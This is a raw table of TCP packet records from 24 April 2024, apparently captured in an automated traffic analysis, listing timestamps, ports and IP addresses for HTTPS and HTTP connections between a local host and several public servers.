Apr 24, 2024 15:42:47.548095942 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:47.548132896 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:47.548158884 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:47.707534075 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:47.707555056 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:47.707659960 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:47.707927942 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:47.707938910 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:47.991044044 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:48.393270016 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:48.393572092 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:48.393609047 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:48.394659042 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:48.394718885 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:48.395909071 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:48.395992041 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:48.396294117 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:48.396307945 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:48.452009916 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:49.090023041 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:49.090140104 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:49.090209961 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:49.092201948 CEST	49717	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:49.092211008 CEST	443	49717	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:49.202019930 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:49.424230099 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:49.424266100 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:49.424431086 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:49.424659967 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:49.424674988 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:49.726485014 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:49.726535082 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:49.726641893 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:49.728374004 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:49.728394032 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.081401110 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.081541061 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.083602905 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.083650112 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.084059954 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.112731934 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.114180088 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.114198923 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.115669966 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.115736008 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.125173092 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.125353098 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.125381947 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.128149986 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.160695076 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.172122002 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.176037073 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.176048040 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.208117008 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.224070072 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.407867908 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.408031940 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.408200979 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.408261061 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.408284903 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.408284903 CEST	49720	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.408296108 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.408303022 CEST	443	49720	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.452873945 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.452908993 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.453099966 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.453440905 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.453457117 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.494393110 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.494498014 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.494750023 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.495160103 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.495194912 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.556797981 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.556987047 CEST	443	49719	87.240.137.164	192.168.2.17
Apr 24, 2024 15:42:50.557069063 CEST	49719	443	192.168.2.17	87.240.137.164
Apr 24, 2024 15:42:50.715845108 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:50.797946930 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.798024893 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.799133062 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.799140930 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.799465895 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.800926924 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:50.827589989 CEST	49724	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:50.848109961 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:50.869858027 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.870116949 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.870155096 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.874165058 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.874238968 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.875308037 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.875397921 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.922012091 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:50.922054052 CEST	443	49722	142.250.141.104	192.168.2.17
Apr 24, 2024 15:42:50.970134974 CEST	49722	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:42:51.050158024 CEST	80	49723	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.050259113 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.050493956 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.133461952 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:51.133656025 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:51.133728981 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:51.134464025 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:51.134486914 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:51.134497881 CEST	49721	443	192.168.2.17	23.202.57.177
Apr 24, 2024 15:42:51.134504080 CEST	443	49721	23.202.57.177	192.168.2.17
Apr 24, 2024 15:42:51.166753054 CEST	80	49724	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.166877985 CEST	49724	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.241487026 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:42:51.385284901 CEST	80	49723	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.385390043 CEST	80	49723	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.389635086 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.389677048 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.389899015 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.390116930 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.390132904 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:51.433020115 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:51.543081045 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:42:51.606067896 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:52.071633101 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.073407888 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:52.073432922 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.073920965 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.074255943 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:52.074336052 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.074645996 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:52.116148949 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.147036076 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:42:52.756047010 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.756155968 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.756215096 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:52.757359982 CEST	49725	443	192.168.2.17	87.240.132.72
Apr 24, 2024 15:42:52.757379055 CEST	443	49725	87.240.132.72	192.168.2.17
Apr 24, 2024 15:42:52.981605053 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.981662989 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:52.981760025 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.982691050 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.982774973 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:52.982867002 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.983165026 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.983181953 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:52.983423948 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:52.983470917 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.361031055 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:42:53.480128050 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.480473042 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.480535984 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.480593920 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.480863094 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.480895996 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.482342958 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.482373953 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.482439041 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.482477903 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.483577013 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.483670950 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.483762026 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.483850956 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.483901024 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.483921051 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.536144018 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.536165953 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:53.536178112 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:53.584041119 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.008415937 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.008657932 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.008754015 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.009624004 CEST	49727	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.009674072 CEST	443	49727	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.228734016 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.228804111 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.228880882 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.229089022 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.229106903 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.728957891 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.729281902 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.729329109 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.730854034 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.730932951 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.732095003 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.732182026 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.732387066 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:54.732393980 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:54.779103041 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210465908 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210531950 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210553885 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210592985 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210616112 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210635900 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210686922 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210733891 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210750103 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210750103 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210750103 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210788012 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210804939 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210820913 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.210870981 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.210896015 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.370274067 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.370307922 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.370448112 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.370476007 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.370526075 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.371032000 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.371056080 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.371124983 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.371130943 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.371167898 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.404936075 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.404970884 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.405216932 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.405232906 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.405287981 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.529925108 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.529988050 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530065060 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530092955 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530138969 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530190945 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530236959 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530236959 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530236959 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530247927 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530262947 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530294895 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530442953 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530489922 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530517101 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530523062 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530599117 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530719995 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530766010 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530797005 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530802965 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.530822039 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.530839920 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.531101942 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.531143904 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.531172037 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.531177998 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.531203032 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.531224966 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.564471006 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564512968 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564594030 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.564603090 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564755917 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564762115 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.564774990 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564810991 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564826965 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.564832926 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.564862013 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.564884901 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.689330101 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.689367056 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.689501047 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.689526081 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.689663887 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.690685034 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.690706015 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.690764904 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.690774918 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.690814018 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691148043 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691168070 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691210032 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691215992 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691242933 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691260099 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691587925 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691608906 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691659927 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691665888 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691693068 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691709995 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.691967964 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.691987991 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692038059 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.692044020 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692085028 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.692491055 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692511082 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692563057 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.692573071 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692621946 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.692926884 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.692948103 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693006992 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693012953 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693058014 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693075895 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693247080 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693265915 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693319082 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693322897 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693363905 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693363905 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693598986 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693619967 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693672895 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.693677902 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.693712950 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.694057941 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.694078922 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.694132090 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.694138050 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.694173098 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.724289894 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724313974 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724441051 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.724457026 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724495888 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.724713087 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724734068 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724781990 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.724787951 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.724822998 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.725002050 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725023985 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725085020 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.725090027 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725126982 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.725334883 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725353956 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725394964 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.725399971 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.725423098 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.725440025 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.766092062 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:42:55.848870993 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.848896027 CEST	443	49728	13.107.246.69	192.168.2.17
